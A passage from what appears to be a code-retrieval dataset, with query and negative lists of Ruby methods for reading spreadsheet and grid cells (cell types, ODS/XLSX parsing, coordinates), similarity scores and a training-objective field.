COLUMNS.index(cell_name.slice /[A-Z]+/)\n row = (cell_name.slice /\\d+/).to_i - 1 # rows in drawings start with 0\n [row, col]\n end", "def celltype(row, col, sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if @formula.size > 0 && @formula[sheet][\"#{row},#{col}\"]\n return :formula\n else\n @cell_type[sheet][\"#{row},#{col}\"]\n end\n end", "def top_cell(cell)\n get_next_cell(cell) { | cell | Coordinates.new(cell.col, cell.row-1)}\n end", "def cell_element(identifier)\n platform.cell_for(identifier.clone)\n end", "def cell(*args)\n if args.empty?\n raise ArgumentError, 'no args passed to #cell, you must pass at least a column name'\n end\n \n column = args.first.to_sym\n \n if args.size == 2\n @cells[column] = args.last\n elsif args.size == 1\n if @model && @model.respond_to?(column)\n @cells[column] = @model.send(column)\n else\n raise ArgumentError, \"##{column} is not a method on #{@model.class.to_s}, call `csv.cell #{column}, value` instead\"\n end\n else\n raise ArgumentError, 'you can pass a column or a column with a value to #cell'\n end\n \n @cells\n end", "def cell(row_num, col_num)\n return @puzzle[row_num][col_num]\n end", "def cell_reader j, cell, attrs\n attrs[@headers[j]] = cell.cell_to_string if @headers[j] =~ /name/\n attrs[@headers[j]] = cell.cell_to_date if @headers[j] =~ /published_date/\n attrs[@headers[j]] = cell.cell_to_array if ['platforms', 'genres', 'tags'].include? @headers[j]\n end", "def read_cells(sheet = default_sheet)\n validate_sheet!(sheet)\n return if @cells_read[sheet]\n\n sheet_found = false\n doc.xpath(\"//*[local-name()='table']\").each do |ws|\n next unless sheet == attribute(ws, 'name')\n\n sheet_found = true\n col = 1\n row = 1\n ws.children.each do |table_element|\n case table_element.name\n when 'table-column'\n @style_defaults[sheet] << table_element.attributes['default-cell-style-name']\n when 'table-row'\n if table_element.attributes['number-rows-repeated']\n skip_row = attribute(table_element, 'number-rows-repeated').to_s.to_i\n row = row + skip_row - 1\n end\n table_element.children.each do |cell|\n skip_col = attribute(cell, 'number-columns-repeated')\n formula = attribute(cell, 'formula')\n value_type = attribute(cell, 'value-type')\n v = attribute(cell, 'value')\n style_name = attribute(cell, 'style-name')\n case value_type\n when 'string'\n str_v = ''\n # insert \\n if there is more than one paragraph\n para_count = 0\n cell.children.each do |str|\n # begin comments\n #=begin\n #- <table:table-cell office:value-type=\"string\">\n # - <office:annotation office:display=\"true\" draw:style-name=\"gr1\" draw:text-style-name=\"P1\" svg:width=\"1.1413in\" svg:height=\"0.3902in\" svg:x=\"2.0142in\" svg:y=\"0in\" draw:caption-point-x=\"-0.2402in\" draw:caption-point-y=\"0.5661in\">\n # <dc:date>2011-09-20T00:00:00</dc:date>\n # <text:p text:style-name=\"P1\">Kommentar fuer B4</text:p>\n # </office:annotation>\n # <text:p>B4 (mit Kommentar)</text:p>\n # </table:table-cell>\n #=end\n if str.name == 'annotation'\n str.children.each do |annotation|\n next unless annotation.name == 'p'\n # @comment ist ein Hash mit Sheet als Key (wie bei @cell)\n # innerhalb eines Elements besteht ein Eintrag aus einem\n # weiteren Hash mit Key [row,col] und dem eigentlichen\n # Kommentartext als Inhalt\n @comment[sheet] = Hash.new unless @comment[sheet]\n key = [row, col]\n @comment[sheet][key] = annotation.text\n end\n end\n # end comments\n if str.name == 'p'\n v = str.content\n str_v += \"\\n\" if para_count > 0\n para_count += 1\n if str.children.size > 1\n str_v += children_to_string(str.children)\n else\n str.children.each do |child|\n str_v += child.content #.text\n end\n end\n str_v = str_v.gsub(/&apos;/, \"'\") # special case not supported by unescapeHTML\n str_v = CGI.unescapeHTML(str_v)\n end # == 'p'\n end\n when 'time'\n cell.children.each do |str|\n v = str.content if str.name == 'p'\n end\n when '', nil, 'date', 'percentage', 'float'\n #\n when 'boolean'\n v = attribute(cell, 'boolean-value').to_s\n end\n if skip_col\n if !v.nil? || cell.attributes['date-value']\n 0.upto(skip_col.to_i - 1) do |i|\n set_cell_values(sheet, col, row, i, v, value_type, formula, cell, str_v, style_name)\n end\n end\n col += (skip_col.to_i - 1)\n end # if skip\n set_cell_values(sheet, col, row, 0, v, value_type, formula, cell, str_v, style_name)\n col += 1\n end\n row += 1\n col = 1\n end\n end\n end\n doc.xpath(\"//*[local-name()='automatic-styles']\").each do |style|\n read_styles(style)\n end\n\n fail RangeError unless sheet_found\n\n @cells_read[sheet] = true\n @comments_read[sheet] = true\n end", "def cell_value(cell)\n return '' unless(cell)\n\n case cell.getCellType\n when HSSFCell::CELL_TYPE_FORMULA then return cell.getCellFormula\n when HSSFCell::CELL_TYPE_NUMERIC then return cell.getNumericCellValue\n when HSSFCell::CELL_TYPE_STRING then return cell.getStringCellValue\n when HSSFCell::CELL_TYPE_BOOLEAN then return cell.getBooleanCellValue\n when HSSFCell::CELL_TYPE_ERROR then return cell.getErrorCellValue\n\n when HSSFCell::CELL_TYPE_BLANK then return ''\n end\n end", "def celltype(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if @formula[sheet][[row,col]]\n return :formula\n else\n @cell_type[sheet][[row,col]]\n end\n end", "def cell(x, y)\n if x < 1 || x > DEFAULT_WIDTH || y < 1 || y > DEFAULT_WIDTH\n puts \"x and y should be between 1 and #{DEFAULT_WIDTH}\"\n return nil\n end\n cells[[x, y]]\n end", "def find_cell(cells, x, y)\n cells.detect{|cell| cell.x == x && cell.y == y }\nend", "def get(id, column_family_name, column_name)\n get_cell(id, column_family_name, column_name).try :value\n end", "def contents_of cell:\n\t\tif distances && distances[cell]\n\t\t\tdistances[cell].to_s(36)[-1]\n\t\telse\n\t\t\t\" \"\n\t\tend\n\tend", "def parse_local_cell(workbook_cell)\n return Workbook::NilValue.new(:covered) if @cell.name == \"covered-table-cell\"\n configure_cell_attributes(workbook_cell)\n valuetype = @cell.xpath(\"@office:value-type\").to_s\n parse_local_value(valuetype)\n end", "def get_cells(rows, columns)\n cells = []\n rows.each do |r|\n columns.each do |c|\n cells << @fields[r][c]\n end\n end\n cells\n end", "def build_cell(cell)\n cell.selectionStyle = self.row.selection_style || UITableViewCellSelectionStyleBlue\n update_cell_value(cell)\n observe(self.row, \"value\") do |old_value, new_value|\n update_cell_value(cell)\n end\n nil\n end", "def find(k)\n @cells[k]\n end", "def configure_cell_attributes(workbook_cell)\n workbook_cell.format = template.formats[@cell.xpath(\"@table:style-name\").to_s]\n workbook_cell.colspan = @cell.xpath(\"@table:number-columns-spanned\").to_s\n workbook_cell.rowspan = @cell.xpath(\"@table:number-rows-spanned\").to_s\n end", "def [](cell_def)\n sheet_name = cell_def.split('!')[0] if cell_def.include?('!')\n worksheet = worksheets.find { |s| s.name == sheet_name }\n raise ArgumentError, 'Unknown Sheet' unless sheet_name && worksheet.is_a?(Worksheet)\n\n worksheet[cell_def.gsub(/.+!/, \"\")]\n end", "def candidate(row:, column:, cell:, candidate_value:)\n cadidates[row][column][cell][candidate_value]\n end", "def info_hash(row_index)\n if @spreadsheet.row(row_index).nil? or @spreadsheet.row(row_index).compact.empty?\n return nil\n else\n parsed_data = {}\n\n begin\n parsed_data[:name] = @spreadsheet.cell(row_index, 1).present? ? @spreadsheet.cell(row_index, 1).to_s : raise\n parsed_data[:code] = @spreadsheet.cell(row_index, 2).to_s\n parsed_data[:position] = @spreadsheet.cell(row_index, 3).to_s\n parsed_data[:area] = @spreadsheet.cell(row_index, 4).to_s\n parsed_data[:world] = @spreadsheet.cell(row_index, 5).to_s\n rescue\n return nil\n end\n\n return parsed_data\n end\n end", "def formula(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if @formula[sheet][\"#{row},#{col}\"] == nil\n return nil\n else\n return @formula[sheet][\"#{row},#{col}\"] \n end\n end", "def render(cell = nil, opts = {}, *, &block)\n if cell.is_a?(::Cell::ViewModel) && cell.respond_to?(:title)\n @cell_title = cell.title\n end\n super\n end", "def at(cell_x, cell_y)\n assert_ok_coords(cell_x, cell_y)\n @grid[cell_x - 1][cell_y - 1]\n end", "def cell(name, identifier=nil, &block)\n define_method(\"#{name}\") do\n return platform.cell_text_for identifier.clone unless block_given?\n self.send(\"#{name}_element\").text\n end\n define_method(\"#{name}_element\") do\n return call_block(&block) if block_given?\n platform.cell_for(identifier.clone)\n end\n define_method(\"#{name}?\") do\n return call_block(&block).exists? if block_given?\n platform.cell_for(identifier.clone).exists?\n end\n alias_method \"#{name}_cell\".to_sym, \"#{name}_element\".to_sym\n end", "def set_cell\n @cell = Cell.find(params[:id])\n end", "def set_cell\n @cell = Cell.find(params[:id])\n end", "def set_cell\n @cell = Cell.find(params[:id])\n end", "def set_cell\n @cell = Cell.find(params[:id])\n end", "def get(row, col)\n validate_pos(row, col)\n @fm[row*@cols + col]\n end", "def table_info(start,_end,col,idx,ws,fw=nil)\n # iterate through all rows and columns\n while (start <= _end)\n j = 1\n while (j <= col)\n case j\n when 1\n if fw == 1\n parameter = param_firmwrweb(idx,start,j).text\n else\n parameter = param_descr(idx,start,j).text\n end\n ws.Range(\"bc#{start+1}\")['Value'] = parameter\n when 2\n if fw == 1\n description = param_firmwrweb(idx,start,j).text\n else\n description = param_descr(idx,start,j).text\n end\n ws.Range(\"bd#{start+1}\")['Value'] = description\n end\n j += 1\n end\n start += 1\n end\n end", "def render_cell(column_name, cell_value, record)\n\n if column_name==\"get_historic_pricing\"\n column_config = {:id_value => record['id'],\n :image => 'historic_pricing',\n :host_and_port => @request.host_with_port.to_s,\n :controller => @request.path_parameters['controller'].to_s,\n :target_action => 'get_historic_pricing'}\n popup_link = ApplicationHelper::LinkWindowField.new(nil, nil, 'none', 'none', 'none', column_config, true, nil, @env)\n return popup_link.build_control\n end\n\n if [email protected][:current_viewing_order]\n if(column_name==\"price_per_carton\" || column_name==\"price_per_kg\" || column_name==\"fob\")\n return @env.text_field('order_product', \"#{record['id']}_#{column_name}\", {:size=>5,:value=>record[column_name]})\n end\n else\n if column_name==\"price_per_carton\"\n return record['price_per_carton']\n elsif column_name==\"price_per_kg\"\n return record['price_per_kg']\n elsif column_name==\"fob\"\n return record['fob']\n end\n end\n\n if column_name==\"price_histories\"\n column_config = {:id_value => record['id'],\n :image => 'price_histories',\n :host_and_port => @request.host_with_port.to_s,\n :controller => @request.path_parameters['controller'].to_s,\n :target_action => 'price_histories'}\n popup_link = ApplicationHelper::LinkWindowField.new(nil, nil, 'none', 'none', 'none', column_config, true, nil, @env)\n return popup_link.build_control\n end\n\n\n if column_name==\"subtotal\"\n if record['price_per_carton']==nil\n subtotal=0\n else\n subtotal=record['price_per_carton'] * record['carton_count']\n end\n return subtotal\n end\n\n if column_name==\"delete\"\n link_url = @env.link_to('delete', \"http://\" + @request.host_with_port + \"/\" + \"fg/order_product/delete_order_product\" + \"/\" + record['id'].to_s , {:class=>'action_link'})\n return link_url\n end\n end", "def definition\n definition = self.class.definition_for(self.name)\n if definition.blank?\n log_warning \"Could not find cell definition for #{self.name}. Please check your cells.yml!\"\n return {}\n else\n definition\n end\n end", "def cell_key\n \"#{self.name} Cells\"\n end", "def cell_params\n params.require(:cell).permit(:coordinate_x, :coordinate_y, :cell_type)\n end", "def cell(row, col, sheet = default_sheet)\n validate_sheet!(sheet) # TODO: 2007-12-16\n read_cells(sheet)\n row, col = normalize(row, col)\n value = @cell[sheet][\"#{row},#{col}\"]\n type = celltype(row, col, sheet)\n return value unless [:date, :datetime].include?(type)\n klass, format = if type == :date\n [::Date, @date_format]\n else\n [::DateTime, @datetime_format]\n end\n begin\n return klass.strptime(value, format)\n rescue ArgumentError\n raise \"Invalid #{klass} #{sheet}[#{row},#{col}] #{value} using format '#{format}'\"\n end\n end", "def row_cell(table_row,cell_num)\r\n\t\treturn search_results_table_element[table_row][cell_num].text if search_results_table_element.count >= table_row.to_i\r\n\tend", "def celltype(row, col, sheet = nil)\n sheet ||= default_sheet\n read_cells(sheet)\n row, col = normalize(row, col)\n @formula[sheet][[row, col]] ? :formula : @cell_type[sheet][[row, col]]\n end", "def get_other_row_cells cell\n\t\treturn get_row_cells(get_row cell) - [cell]\n\tend", "def rowcell_value(object, item, item_count)\n this_value = object.this_value(item[:code], item[:lookup], item[:format],\n item[:placeholder])\n if item_count == 1 || item[:label] == false\n this_value\n else\n \"#{object.this_label(item[:code], item[:action_name], item[:label])} : #{this_value}\"\n end\n end", "def current_cell_items\n @cell_items[@current_room_id]\n end", "def next_cell(grid)\n grid.each_with_index do |row, x|\n row.each_with_index do |cell, y|\n return x, y if cell.length > 1\n end\n end\n end", "def get(x,y)\n row = @rows[y]\n if row == nil\n nil\n else\n # puts \"GLayer.get got a row: #{row.inspect} and the value is #{row[x]}\"\n row[x]\n end\n end", "def get_value(row, col)\n @rectangle[row][col]\n end", "def get_cells(y_index, x_index, y_vector, x_vector, velocity)\n cells = []\n\n for i in 0 .. velocity\n x = (x_vector * i) + x_index\n y = (y_vector * i) + y_index\n if cell_in_grid(y, x)\n cells.push(OpenStruct.new(:x => x, :y => y, :val => $grid[y][x]))\n end\n\n end\n return cells\nend", "def getvalue(row, column)\n rows[row][column]\n end", "def cell_attributes(worksheet, row, col) # :nodoc:\n xf_index = xf ? xf.get_xf_index : 0\n attributes = [\n ['r', xl_rowcol_to_cell(row, col)]\n ]\n\n # Add the cell format index.\n if xf_index != 0\n attributes << ['s', xf_index]\n elsif worksheet.set_rows[row] && worksheet.set_rows[row][1]\n row_xf = worksheet.set_rows[row][1]\n attributes << ['s', row_xf.get_xf_index]\n elsif worksheet.col_info[col] && worksheet.col_info[col].format\n col_xf = worksheet.col_info[col].format\n attributes << ['s', col_xf.get_xf_index]\n end\n attributes\n end", "def cell(reference)\n if inline_ast.call(current_sheet_name.last,reference.upcase.gsub('$',''),references)\n @replacements_made_in_the_last_pass += 1\n ast = references[current_sheet_name.last][reference.upcase.gsub('$','')]\n if ast\n map(ast)\n else\n [:blank]\n end\n else\n if current_sheet_name.size > 1\n [:sheet_reference,current_sheet_name.last,[:cell,reference]]\n else\n [:cell,reference]\n end\n end\n end", "def position(cell)\n index = cell.to_i - 1\n (index >= 0 && index <= 8) ? self.cells[index] : nil\n end", "def cell_params\n params.require(:cell).permit(:x, :y, :type_id, :value)\n end", "def first_cell\n Cell.new( sheet, expand( address ).flatten.first )\n end", "def celltype(row, col, sheet = nil)\n sheet ||= @default_sheet\n read_cells(sheet)\n\n @cell_type[sheet].fetch(normalize(row, col).to_a, nil)\n end", "def read_cell_content(row, idx)\n cell = row.at(idx)\n if cell.class == ::Spreadsheet::Formula\n # Formulas oftentimes lose type information\n cell = cell.value.to_f rescue cell.value\n cell = cell.to_i if (cell.to_f % 1).zero? rescue cell\n end\n\n cell\n end", "def [](row, column)\n cell(row, column)\n end", "def cell_name\n # XXX Why is this needed? Can there be cells which have a different\n # @cell_name from their class's name?\n @cell_name || self.class.cell_name\n end", "def cell_name\n # XXX Why is this needed? Can there be cells which have a different\n # @cell_name from their class's name?\n @cell_name || self.class.cell_name\n end" ]
[ "0.6700249", "0.65839696", "0.65731555", "0.6518436", "0.6300283", "0.6229153", "0.6165501", "0.6158154", "0.6138333", "0.6138228", "0.61308724", "0.6109513", "0.60202676", "0.59902996", "0.5939663", "0.5932703", "0.5928645", "0.5925812", "0.5908698", "0.58960766", "0.58673286", "0.58447176", "0.58431685", "0.58431685", "0.58286107", "0.5818812", "0.5809374", "0.58082145", "0.5802272", "0.57382023", "0.57116723", "0.5710151", "0.5701498", "0.5701498", "0.56905884", "0.56837755", "0.5675625", "0.56560946", "0.5656074", "0.5653029", "0.56455326", "0.5643349", "0.5639173", "0.5637416", "0.5629398", "0.5602942", "0.55946964", "0.55919635", "0.5587027", "0.55728173", "0.5559044", "0.5555107", "0.55511004", "0.554721", "0.5540404", "0.55291146", "0.5525214", "0.54937905", "0.54685897", "0.5468163", "0.5467274", "0.5463873", "0.54622614", "0.54619324", "0.545768", "0.54558355", "0.5425425", "0.5425156", "0.54223245", "0.54009694", "0.54009694", "0.54009694", "0.54009694", "0.5391585", "0.53864205", "0.5376266", "0.5375007", "0.5373257", "0.5369933", "0.5358947", "0.5357358", "0.5353096", "0.53361875", "0.532863", "0.5326493", "0.53241163", "0.53215814", "0.53160626", "0.531558", "0.5313806", "0.5308011", "0.53068143", "0.53009415", "0.5296353", "0.5285744", "0.5283528", "0.528347", "0.5281379", "0.52762467", "0.52762467" ]
0.8008553
0
Retrieves the cell information and the measures used to calculate its position based on the parameters specified in the cell object
def get_cell_measures(cell) query_cell_info '/cell/getMeasures', cell end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_coordinates(cell)\n row = @cell_coordinates[cell][0]\n col = @cell_coordinates[cell][1]\n [row, col]\n end", "def get_cell(cell)\n query_cell_info '/cell/get', cell\n end", "def cells\n @cells\n end", "def cells\n @cells\n end", "def cells\n attributes.fetch(:cells)\n end", "def _cell_zoom\r\n @x = params[:x]\r\n @y = params[:y]\r\n @otu = Otu.find(params[:otu_id])\r\n @chr = Chr.find(params[:chr_id])\r\n @confidences = @proj.confidences\r\n @mx = Mx.find(params[:mx_id])\r\n end", "def calc_coordinate(cell_name)\n col = COLUMNS.index(cell_name.slice /[A-Z]+/)\n row = (cell_name.slice /\\d+/).to_i - 1 # rows in drawings start with 0\n [row, col]\n end", "def get_elem cell\n\t\treturn @elements[cell]\n\tend", "def read_cells(sheet=nil)\n sheet = @default_sheet unless sheet\n sheet_found = false\n raise ArgumentError, \"Error: sheet '#{sheet||'nil'}' not valid\" if @default_sheet == nil and sheet==nil\n raise RangeError unless self.sheets.include? sheet\n n = self.sheets.index(sheet)\n #TODO: @sheet_doc[n].find(\"//*[local-name()='c']\").each do |c|\n @sheet_doc[n].xpath(\"//*[local-name()='c']\").each do |c|\n #TODO: s_attribute = c.attributes.to_h['s'].to_i # should be here\n s_attribute = c['s'].to_i # should be here\n #TODO: if (c.attributes.to_h['t'] == 's')\n # c: <c r=\"A5\" s=\"2\">\n # <v>22606</v>\n # </c>, format: , tmp_type: float\n\n if c['t'] == 's'\n tmp_type = :shared\n #TODO: elsif (c.attributes.to_h['t'] == 'b')\n elsif c['t'] == 'b'\n tmp_type = :boolean\n else\n #s_attribute = c.attributes.to_h['s'].to_i # was here\n s_attribute = c['s'].to_i # was here\n format = attribute2format(s_attribute)\n tmp_type = format2type(format)\n end\n formula = nil\n #TODO: c.each_element do |cell|\n c.children.each do |cell|\n #TODO: if cell.name == 'f'\n if cell.name == 'f'\n formula = cell.content\n end\n #TODO: if cell.name == 'v'\n if cell.name == 'v'\n if tmp_type == :time or tmp_type == :datetime\n if cell.content.to_f >= 1.0 \n if (cell.content.to_f - cell.content.to_f.floor).abs > 0.000001 \n tmp_type = :datetime \n else\n tmp_type = :date\n end\n else\n end \n end\n excelx_type = [:numeric_or_formula,format.to_s]\n excelx_value = cell.content\n if tmp_type == :shared\n vt = :string\n str_v = @shared_table[cell.content.to_i]\n excelx_type = :string\n elsif tmp_type == :boolean\n vt = :boolean\n cell.content.to_i == 1 ? v = 'TRUE' : v = 'FALSE'\n elsif tmp_type == :date\n vt = :date\n v = cell.content\n elsif tmp_type == :time\n vt = :time\n v = cell.content\n elsif tmp_type == :datetime\n vt = :datetime\n v = cell.content\n elsif tmp_type == :formula\n vt = :formula\n v = cell.content.to_f #TODO: !!!!\n else\n vt = :float\n v = cell.content\n end\n #puts \"vt: #{vt}\" if cell.text.include? \"22606.5120\"\n #TODO: x,y = split_coordinate(c.attributes.to_h['r'])\n x,y = split_coordinate(c['r'])\n tr=nil #TODO: ???s\n set_cell_values(sheet,x,y,0,v,vt,formula,tr,str_v,excelx_type,excelx_value,s_attribute)\n end\n end\n end\n sheet_found = true #TODO:\n if !sheet_found\n raise RangeError\n end\n @cells_read[sheet] = true\n end", "def contents_of cell:\n\t\tif distances && distances[cell]\n\t\t\tdistances[cell].to_s(36)[-1]\n\t\telse\n\t\t\t\" \"\n\t\tend\n\tend", "def actual_cells\n @cells.compact\n end", "def cell(cell)\n @board[cell]\n end", "def get_cell(row, column)\n @fields[row][column]\n end", "def read_cells(sheet=nil)\n sheet = @default_sheet unless sheet\n raise RangeError, \"illegal sheet <#{sheet}>\" unless sheets.index(sheet)\n sheet_no = sheets.index(sheet)+1\n xml = @gs.fulldoc(sheet_no).to_s\n doc = XML::Parser.string(xml).parse\n doc.find(\"//*[local-name()='cell']\").each do |item|\n row = item['row']\n col = item['col']\n key = \"#{row},#{col}\"\n string_value = item['inputvalue'] || item['inputValue'] \n numeric_value = item['numericvalue'] || item['numericValue'] \n (value, value_type) = determine_datatype(string_value, numeric_value)\n @cell[sheet][key] = value unless value == \"\" or value == nil\n @cell_type[sheet][key] = value_type \n @formula[sheet] = {} unless @formula[sheet]\n @formula[sheet][key] = string_value if value_type == :formula\n end\n @cells_read[sheet] = true\n end", "def position(cell)\n index = cell.to_i - 1\n (index >= 0 && index <= 8) ? self.cells[index] : nil\n end", "def top_cell(cell)\n get_next_cell(cell) { | cell | Coordinates.new(cell.col, cell.row-1)}\n end", "def position(input)\n cells[self.idx(input)]\n end", "def cell(data)\n rw, col, ixfe = data.unpack('v3')\n\n {\n rw: rw, # rw (2 bytes): An Rw that specifies the row.\n col: col, # col (2 bytes): A Col that specifies the column.\n ixfe: ixfe # ixfe (2 bytes): An IXFCell that specifies the XF record.\n }\n end", "def getCell(row, col)\n # Make sure the row/col combination is within the matrix.\n if row > @rows || col > @cols || row <= 0 || col <= 0\n return 0\n end\n return @info[row][col]\n end", "def cal_pos\n x, y = map_location(@grid_x, @grid_y)\n x += @tile_size/2\n y += @tile_size/2\n [x,y]\n end", "def getCell(row,col)\n the_row = @rows[row]\n the_cell = the_row.cells[col]\n return the_cell\n end", "def cells\n @cells ||= []\n end", "def get(row, col)\n validate_pos(row, col)\n @fm[row*@cols + col]\n end", "def unit_at(x,y)\n cell = @cells.find {|cell| cell.x == x and cell.y == y }\n cell.unit.view if cell\n end", "def excel_calculated_cells\n @calculated_cells = {} unless defined? @calculated_cells\n @calculated_cells\n end", "def get_value(row, col)\n @rectangle[row][col]\n end", "def cell(row, col, sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if celltype(row,col,sheet) == :date\n yyyy,mm,dd = @cell[sheet][[row,col]].split('-')\n return Date.new(yyyy.to_i,mm.to_i,dd.to_i)\n elsif celltype(row,col,sheet) == :datetime\n date_part,time_part = @cell[sheet][[row,col]].split(' ')\n yyyy,mm,dd = date_part.split('-')\n hh,mi,ss = time_part.split(':')\n return DateTime.civil(yyyy.to_i,mm.to_i,dd.to_i,hh.to_i,mi.to_i,ss.to_i)\n end\n @cell[sheet][[row,col]]\n end", "def getCell(x, y)\n return @grid.getCell(x,y)\n end", "def calc_position_emus(worksheet)\n c_start, r_start,\n xx1, yy1, c_end, r_end,\n xx2, yy2, x_abslt, y_abslt =\n worksheet.position_object_pixels(\n @column_start,\n @row_start,\n @x_offset,\n @y_offset,\n @width * @scale_x,\n @height * @scale_y\n )\n\n # Now that x2/y2 have been calculated with a potentially negative\n # width/height we use the absolute value and convert to EMUs.\n @width_emu = (@width * 9_525).abs.to_i\n @height_emu = (@height * 9_525).abs.to_i\n\n @column_start = c_start.to_i\n @row_start = r_start.to_i\n @column_end = c_end.to_i\n @row_end = r_end.to_i\n\n # Convert the pixel values to EMUs. See above.\n @x1 = (xx1 * 9_525).to_i\n @y1 = (yy1 * 9_525).to_i\n @x2 = (xx2 * 9_525).to_i\n @y2 = (yy2 * 9_525).to_i\n @x_abs = (x_abslt * 9_525).to_i\n @y_abs = (y_abslt * 9_525).to_i\n end", "def get_cell_value(row = 1, column = 1)\n unless row.is_a?(Integer) && column.is_a?(Integer)\n raise IncorrectCellPosition, 'Incorrect cell position'.freeze\n end\n\n if row > 3 || column > 3 || row < 1 || column < 1\n raise OutOfCellError, 'No cell available in this zone'.freeze\n end\n\n return self.send cell_column(row, column)\n end", "def get_value(row, col)\n return @rectangle[row][col]\n end", "def cell(row, col, sheet = nil)\n sheet ||= @default_sheet\n read_cells(sheet)\n\n @cell[sheet].fetch(normalize(row, col).to_a, nil)\n end", "def distance_to(cell)\n (@x - cell.x).abs + (@y - cell.y).abs\n end", "def read_cell(x, y)\n offset = (y * @height) + x\n\n @cells[offset] if x >= 0 && y >= 0 && x < @width && y < @height\n end", "def position(pos)\n @cells[to_index(pos)]\n end", "def getCurrentPosInCsvRow(row)\n x = row[@index_current_position_in_model_x].to_f ;\n y = row[@index_current_position_in_model_y].to_f ;\n z = row[@index_current_position_in_model_z].to_f ;\n return [x,y,z] ;\n end", "def get_cell(x, y)\n grid[x][y]\n end", "def data_at(sheet_index, record_index, cell_index)\n @sheets[sheet_index].records[record_index].cells[cell_index]\n end", "def report\n return {\n x: @position[0],\n y: @position[1],\n direction: @direction\n }\n end", "def mouseover_cell(loc)\n mouse_cell_x = loc[:x].to_i / @box_side_length.to_i\n mouse_cell_y = loc[:y].to_i / @box_side_length.to_i\n {x: mouse_cell_x, y: mouse_cell_y, z: 0}\n end", "def excel_calculate_sheet(sheet)\n excel_calculated_cells.clear\n\n # Iterate over the used range calculating each cell.\n # The result of each cell is then saved.\n data = []\n begin\n sheet.UsedRange.Rows.each do |row|\n data << row_data = []\n row.Cells.each do |cell|\n # Calculate the cell if required.\n excel_calculate_cell(cell) if cell.HasFormula\n # Get the un-formatted value of this field.\n value = cell.Value2\n row_data << value\n end\n end\n rescue\n @logger.error(format_exception)\n data << [\"#{$!.message} (#{$!.class.name})\"]\n data << [$!.backtrace.join(\"\\n\")]\n end\n # Return the 2d array with all the data.\n data\n end", "def at(cell_x, cell_y)\n assert_ok_coords(cell_x, cell_y)\n @grid[cell_x - 1][cell_y - 1]\n end", "def current_cell_items\n @cell_items[@current_room_id]\n end", "def parse_local_cell(workbook_cell)\n return Workbook::NilValue.new(:covered) if @cell.name == \"covered-table-cell\"\n configure_cell_attributes(workbook_cell)\n valuetype = @cell.xpath(\"@office:value-type\").to_s\n parse_local_value(valuetype)\n end", "def get_cells(y_index, x_index, y_vector, x_vector, velocity)\n cells = []\n\n for i in 0 .. velocity\n x = (x_vector * i) + x_index\n y = (y_vector * i) + y_index\n if cell_in_grid(y, x)\n cells.push(OpenStruct.new(:x => x, :y => y, :val => $grid[y][x]))\n end\n\n end\n return cells\nend", "def position\n return [@x, @y, @heading]\n end", "def cell(loc)\n @map[loc]\n end", "def cellAt(row, col)\n\t\treturn @rows[row][col]\n\tend", "def position\n [row.position, column.position]\n end", "def read(y, x)\n cy, cx = Vedeu::Geometry::Position[y, x].as_indices\n\n row = fetch(cells, cy)\n cell = fetch(row, cx)\n\n cell\n end", "def room\n @map[@row][@col]\nend", "def getCell(row, column)\n\n\t\treturn @grid.getElement(row, column)\n\tend", "def formula(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if @formula[sheet][\"#{row},#{col}\"] == nil\n return nil\n else\n return @formula[sheet][\"#{row},#{col}\"] \n end\n end", "def cell_at_point(x, y)\n [x / Entity::WIDTH, y / Entity::HEIGHT ]\n end", "def cells\n @cells ||= coordinates.collect {|coordinate| Cell.new(coordinate: coordinate)}\n end", "def cell\n {\n # Use the model's properties to populate data in the hash\n title: name,\n # subtitle: {}\n }\n end", "def read_cell(row, idx)\n return read_cell_date_or_time(row, idx) if date_or_time?(row, idx)\n\n cell = read_cell_content(row, idx)\n case cell\n when Integer, Fixnum, Bignum\n value_type = :float\n value = cell.to_i\n when Float\n value_type = :float\n value = cell.to_f\n when String, TrueClass, FalseClass\n value_type = :string\n value = normalize_string(cell.to_s)\n when ::Spreadsheet::Link\n value_type = :link\n value = cell\n else\n value_type = cell.class.to_s.downcase.to_sym\n value = nil\n end # case\n\n [value_type, value]\n end", "def rh_cell\n v1.cells[clockwise_directions.index(direction)]\n end", "def calc_vertices\n @worksheet.position_object( @params[:start_col],\n @params[:start_row],\n @params[:x_offset],\n @params[:y_offset],\n @params[:width],\n @params[:height]\n )\n end", "def pos()\n #This is a stub, used for indexing\n end", "def pos()\n #This is a stub, used for indexing\n end", "def coordinate \n @coordinate\n end", "def celltype(row, col, sheet = default_sheet)\n read_cells(sheet)\n row, col = normalize(row, col)\n if @formula.size > 0 && @formula[sheet][\"#{row},#{col}\"]\n :formula\n else\n @cell_type[sheet][\"#{row},#{col}\"]\n end\n end", "def pos\r\n { x: @tile.x,\r\n y: @tile.y }\r\n end", "def cellval(x,y)\n xy = \"#{x}_#{y}\"\n @cells = { }\n begin\n @cells[xy] = RobustExcelOle::Cell.new(@ole_worksheet.Cells.Item(x, y))\n @cells[xy].Value\n rescue\n raise RangeNotEvaluatable, \"cannot read cell (#{p1.inspect},#{p2.inspect})\"\n end\n end", "def cell(row, column)\n row = row(row)\n cell_value( row.get_or_create_cell( column ) )\n end", "def position(input)\n self.cells[self.input_to_index(input)]\n end", "def get_other_col_cells cell\n\t\treturn get_col_cells(get_col cell) - [cell]\n\tend", "def cell(row_index, column_index)\n row(row_index).cell(column_index)\n end", "def read_cells(sheet = default_sheet)\n validate_sheet!(sheet)\n return if @cells_read[sheet]\n\n sheet_found = false\n doc.xpath(\"//*[local-name()='table']\").each do |ws|\n next unless sheet == attribute(ws, 'name')\n\n sheet_found = true\n col = 1\n row = 1\n ws.children.each do |table_element|\n case table_element.name\n when 'table-column'\n @style_defaults[sheet] << table_element.attributes['default-cell-style-name']\n when 'table-row'\n if table_element.attributes['number-rows-repeated']\n skip_row = attribute(table_element, 'number-rows-repeated').to_s.to_i\n row = row + skip_row - 1\n end\n table_element.children.each do |cell|\n skip_col = attribute(cell, 